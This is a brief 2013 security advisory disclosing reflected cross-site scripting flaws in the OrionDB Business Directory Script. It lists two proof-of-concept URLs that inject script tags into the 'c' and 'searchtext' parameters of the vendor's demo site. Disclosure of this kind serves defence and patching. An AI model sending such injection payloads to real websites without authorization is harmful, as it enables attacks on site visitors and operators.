OrionDB Business Directory Script Cross Site Scripting

2013.03.27

Credit: 3spi0n

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

##################################################################################
__ _ _ ____
/ /___ _____ (_)_____________ ______(_)__ _____ / __ \_________ _
__ / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__ |__ ) /_/ / / / / __(__ )/ /_/ / / / /_/ /
\____/\__,_/_/ /_/_/____/____/\__,_/_/ /_/\___/____(_)____/_/ \__, /
/____/
##################################################################################
OrionDB Business Directory Script, XSS Vulnerabilities
Product Page: http://www.oriondb.com/
Script Demo: http://www.oriondb.com/wd-demo/
Author(Pentester): 3spi0n
On Social: Twitter.Com/eyyamgudeer
Greetz: Grayhatz Inc. and Janissaries Platform.
##################################################################################
[1] Xss Vulnerabilities on Demo Site
[+] (index.php, c Param)
>>> http://www.oriondb.com//wd-demo/index.php?c=<script >prompt(35)</script>
[+] (index.php, searchtext param)
>>> http://www.oriondb.com/wd-demo/index.php?c=search&category=Food&searchtext=1</title><h1>3spi0n</h1><script >prompt(35)</script>

References:

http://www.oriondb.com/

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

OrionDB Business Directory Script Cross Site Scripting

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.